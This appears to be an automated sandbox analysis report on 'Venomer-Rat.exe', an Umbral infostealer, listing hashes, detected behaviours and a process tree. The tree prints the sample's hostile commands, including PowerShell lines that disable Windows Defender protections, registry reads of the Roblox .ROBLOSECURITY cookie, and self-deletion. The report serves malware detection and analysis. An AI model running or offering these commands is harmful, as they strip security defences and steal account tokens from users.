Analysis
-
max time kernel
119s -
max time network
120s -
platform
windows7_x64 -
resource
win7-20240508-en -
resource tags
arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system -
submitted
31-05-2024 21:59
Behavioral task
behavioral1
Sample
Venomer-Rat.exe
Resource
win7-20240508-en
General
-
Target
Venomer-Rat.exe
-
Size
235KB
-
MD5
5a410c6eeda88a58fc797ae80849ef9a
-
SHA1
433f6296aa36bee061dbfb43ba23d7ea41471728
-
SHA256
0506a1b19dc8f17889113566ad1888b13f0aa9e956b8de39a5e55c36cd268b9a
-
SHA512
e8a257b05492b5fa20bbf3d742b28e200bf103490bbb075176281a6e4ddb085a9b994f0b6ef7e0fed1d0cfe27830de55ec736f5956d1991494c85217792b2c8f
-
SSDEEP
6144:jloZM+rIkd8g+EtXHkv/iD49T0o+fVeGJ8MFXSy3gwb8e1m+sVi:BoZtL+EP89T0o+fVeGJ8MFXSy3dBn
Malware Config
Signatures
-
Detect Umbral payload 1 IoCs
Processes:
resource yara_rule behavioral1/memory/2140-1-0x0000000000AA0000-0x0000000000AE0000-memory.dmp family_umbral -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
-
Drops file in Drivers directory 1 IoCs
Processes:
Venomer-Rat.exedescription ioc process File opened for modification C:\Windows\System32\drivers\etc\hosts Venomer-Rat.exe -
Deletes itself 1 IoCs
Processes:
cmd.exepid process 2084 cmd.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
-
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 4 ip-api.com -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
-
Runs ping.exe 1 TTPs 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 6 IoCs
Processes:
Venomer-Rat.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepid process 2140 Venomer-Rat.exe 2668 powershell.exe 2624 powershell.exe 2504 powershell.exe 2408 powershell.exe 1332 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
Venomer-Rat.exewmic.exepowershell.exepowershell.exepowershell.exepowershell.exewmic.exedescription pid process Token: SeDebugPrivilege 2140 Venomer-Rat.exe Token: SeIncreaseQuotaPrivilege 3032 wmic.exe Token: SeSecurityPrivilege 3032 wmic.exe Token: SeTakeOwnershipPrivilege 3032 wmic.exe Token: SeLoadDriverPrivilege 3032 wmic.exe Token: SeSystemProfilePrivilege 3032 wmic.exe Token: SeSystemtimePrivilege 3032 wmic.exe Token: SeProfSingleProcessPrivilege 3032 wmic.exe Token: SeIncBasePriorityPrivilege 3032 wmic.exe Token: SeCreatePagefilePrivilege 3032 wmic.exe Token: SeBackupPrivilege 3032 wmic.exe Token: SeRestorePrivilege 3032 wmic.exe Token: SeShutdownPrivilege 3032 wmic.exe Token: SeDebugPrivilege 3032 wmic.exe Token: SeSystemEnvironmentPrivilege 3032 wmic.exe Token: SeRemoteShutdownPrivilege 3032 wmic.exe Token: SeUndockPrivilege 3032 wmic.exe Token: SeManageVolumePrivilege 3032 wmic.exe Token: 33 3032 wmic.exe Token: 34 3032 wmic.exe Token: 35 3032 wmic.exe Token: SeIncreaseQuotaPrivilege 3032 wmic.exe Token: SeSecurityPrivilege 3032 wmic.exe Token: SeTakeOwnershipPrivilege 3032 wmic.exe Token: SeLoadDriverPrivilege 3032 wmic.exe Token: SeSystemProfilePrivilege 3032 wmic.exe Token: SeSystemtimePrivilege 3032 wmic.exe Token: SeProfSingleProcessPrivilege 3032 wmic.exe Token: SeIncBasePriorityPrivilege 3032 wmic.exe Token: SeCreatePagefilePrivilege 3032 wmic.exe Token: SeBackupPrivilege 3032 wmic.exe Token: SeRestorePrivilege 3032 wmic.exe Token: SeShutdownPrivilege 3032 wmic.exe Token: SeDebugPrivilege 3032 wmic.exe Token: SeSystemEnvironmentPrivilege 3032 wmic.exe Token: SeRemoteShutdownPrivilege 3032 wmic.exe Token: SeUndockPrivilege 3032 wmic.exe Token: SeManageVolumePrivilege 3032 wmic.exe Token: 33 3032 wmic.exe Token: 34 3032 wmic.exe Token: 35 3032 wmic.exe Token: SeDebugPrivilege 2668 powershell.exe Token: SeDebugPrivilege 2624 powershell.exe Token: SeDebugPrivilege 2504 powershell.exe Token: SeDebugPrivilege 2408 powershell.exe Token: SeIncreaseQuotaPrivilege 1784 wmic.exe Token: SeSecurityPrivilege 1784 wmic.exe Token: SeTakeOwnershipPrivilege 1784 wmic.exe Token: SeLoadDriverPrivilege 1784 wmic.exe Token: SeSystemProfilePrivilege 1784 wmic.exe Token: SeSystemtimePrivilege 1784 wmic.exe Token: SeProfSingleProcessPrivilege 1784 wmic.exe Token: SeIncBasePriorityPrivilege 1784 wmic.exe Token: SeCreatePagefilePrivilege 1784 wmic.exe Token: SeBackupPrivilege 1784 wmic.exe Token: SeRestorePrivilege 1784 wmic.exe Token: SeShutdownPrivilege 1784 wmic.exe Token: SeDebugPrivilege 1784 wmic.exe Token: SeSystemEnvironmentPrivilege 1784 wmic.exe Token: SeRemoteShutdownPrivilege 1784 wmic.exe Token: SeUndockPrivilege 1784 wmic.exe Token: SeManageVolumePrivilege 1784 wmic.exe Token: 33 1784 wmic.exe Token: 34 1784 wmic.exe -
Suspicious use of WriteProcessMemory 39 IoCs
Processes:
Venomer-Rat.execmd.exedescription pid process target process PID 2140 wrote to memory of 3032 2140 Venomer-Rat.exe wmic.exe PID 2140 wrote to memory of 3032 2140 Venomer-Rat.exe wmic.exe PID 2140 wrote to memory of 3032 2140 Venomer-Rat.exe wmic.exe PID 2140 wrote to memory of 2636 2140 Venomer-Rat.exe attrib.exe PID 2140 wrote to memory of 2636 2140 Venomer-Rat.exe attrib.exe PID 2140 wrote to memory of 2636 2140 Venomer-Rat.exe attrib.exe PID 2140 wrote to memory of 2668 2140 Venomer-Rat.exe powershell.exe PID 2140 wrote to memory of 2668 2140 Venomer-Rat.exe powershell.exe PID 2140 wrote to memory of 2668 2140 Venomer-Rat.exe powershell.exe PID 2140 wrote to memory of 2624 2140 Venomer-Rat.exe powershell.exe PID 2140 wrote to memory of 2624 2140 Venomer-Rat.exe powershell.exe PID 2140 wrote to memory of 2624 2140 Venomer-Rat.exe powershell.exe PID 2140 wrote to memory of 2504 2140 Venomer-Rat.exe powershell.exe PID 2140 wrote to memory of 2504 2140 Venomer-Rat.exe powershell.exe PID 2140 wrote to memory of 2504 2140 Venomer-Rat.exe powershell.exe PID 2140 wrote to memory of 2408 2140 Venomer-Rat.exe powershell.exe PID 2140 wrote to memory of 2408 2140 Venomer-Rat.exe powershell.exe PID 2140 wrote to memory of 2408 2140 Venomer-Rat.exe powershell.exe PID 2140 wrote to memory of 1784 2140 Venomer-Rat.exe wmic.exe PID 2140 wrote to memory of 1784 2140 Venomer-Rat.exe wmic.exe PID 2140 wrote to memory of 1784 2140 Venomer-Rat.exe wmic.exe PID 2140 wrote to memory of 1520 2140 Venomer-Rat.exe wmic.exe PID 2140 wrote to memory of 1520 2140 Venomer-Rat.exe wmic.exe PID 2140 wrote to memory of 1520 2140 Venomer-Rat.exe wmic.exe PID 2140 wrote to memory of 2328 2140 Venomer-Rat.exe wmic.exe PID 2140 wrote to memory of 2328 2140 Venomer-Rat.exe wmic.exe PID 2140 wrote to memory of 2328 2140 Venomer-Rat.exe wmic.exe PID 2140 wrote to memory of 1332 2140 Venomer-Rat.exe powershell.exe PID 2140 wrote to memory of 1332 2140 Venomer-Rat.exe powershell.exe PID 2140 wrote to memory of 1332 2140 Venomer-Rat.exe powershell.exe PID 2140 wrote to memory of 2776 2140 Venomer-Rat.exe wmic.exe PID 2140 wrote to memory of 2776 2140 Venomer-Rat.exe wmic.exe PID 2140 wrote to memory of 2776 2140 Venomer-Rat.exe wmic.exe PID 2140 wrote to memory of 2084 2140 Venomer-Rat.exe cmd.exe PID 2140 wrote to memory of 2084 2140 Venomer-Rat.exe cmd.exe PID 2140 wrote to memory of 2084 2140 Venomer-Rat.exe cmd.exe PID 2084 wrote to memory of 2876 2084 cmd.exe PING.EXE PID 2084 wrote to memory of 2876 2084 cmd.exe PING.EXE PID 2084 wrote to memory of 2876 2084 cmd.exe PING.EXE -
Views/modifies file attributes 1 TTPs 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\Venomer-Rat.exe"C:\Users\Admin\AppData\Local\Temp\Venomer-Rat.exe"1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2140 -
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid2⤵
- Suspicious use of AdjustPrivilegeToken
PID:3032 -
C:\Windows\system32\attrib.exe"attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Venomer-Rat.exe"2⤵
- Views/modifies file attributes
PID:2636 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Venomer-Rat.exe'2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2668 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 22⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2624 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2504 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2408 -
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" os get Caption2⤵
- Suspicious use of AdjustPrivilegeToken
PID:1784 -
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" computersystem get totalphysicalmemory2⤵PID:1520
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid2⤵PID:2328
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER2⤵
- Suspicious behavior: EnumeratesProcesses
PID:1332 -
C:\Windows\System32\Wbem\wmic.exe"wmic" path win32_VideoController get name2⤵
- Detects videocard installed
PID:2776 -
C:\Windows\system32\cmd.exe"cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Venomer-Rat.exe" && pause2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2084 -
C:\Windows\system32\PING.EXEping localhost3⤵
- Runs ping.exe
PID:2876
-
C:\Windows\explorer.exe"C:\Windows\explorer.exe"1⤵PID:1948
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msFilesize
7KB
MD52ab4aab30fa04b699080eecf2f33580d
SHA1b231357a5c108c0ccfb3fb1932a05c0f559fb1ea
SHA25638abcf3d9c960acb1bcfeb3cbb05d82179e5a73772004db7f0cab90521a63742
SHA5120e89f7d9521239eb7112a7c058607b2c92794ac09307128c7a03511420d768b3d6df63c485e2e2736ca7f7a582449049b0de14189d2017cd70eeb2548c7994b1
-
\??\PIPE\srvsvcMD5
d41d8cd98f00b204e9800998ecf8427e
SHA1da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e
-
memory/1332-43-0x0000000002860000-0x0000000002868000-memory.dmpFilesize
32KB
-
memory/2140-0-0x000007FEF54A3000-0x000007FEF54A4000-memory.dmpFilesize
4KB
-
memory/2140-1-0x0000000000AA0000-0x0000000000AE0000-memory.dmpFilesize
256KB
-
memory/2140-2-0x000007FEF54A0000-0x000007FEF5E8C000-memory.dmpFilesize
9.9MB
-
memory/2140-47-0x000007FEF54A0000-0x000007FEF5E8C000-memory.dmpFilesize
9.9MB
-
memory/2624-14-0x000000001B6D0000-0x000000001B9B2000-memory.dmpFilesize
2.9MB
-
memory/2624-15-0x0000000002790000-0x0000000002798000-memory.dmpFilesize
32KB
-
memory/2668-7-0x000000001B590000-0x000000001B872000-memory.dmpFilesize
2.9MB
-
memory/2668-8-0x0000000001F00000-0x0000000001F08000-memory.dmpFilesize
32KB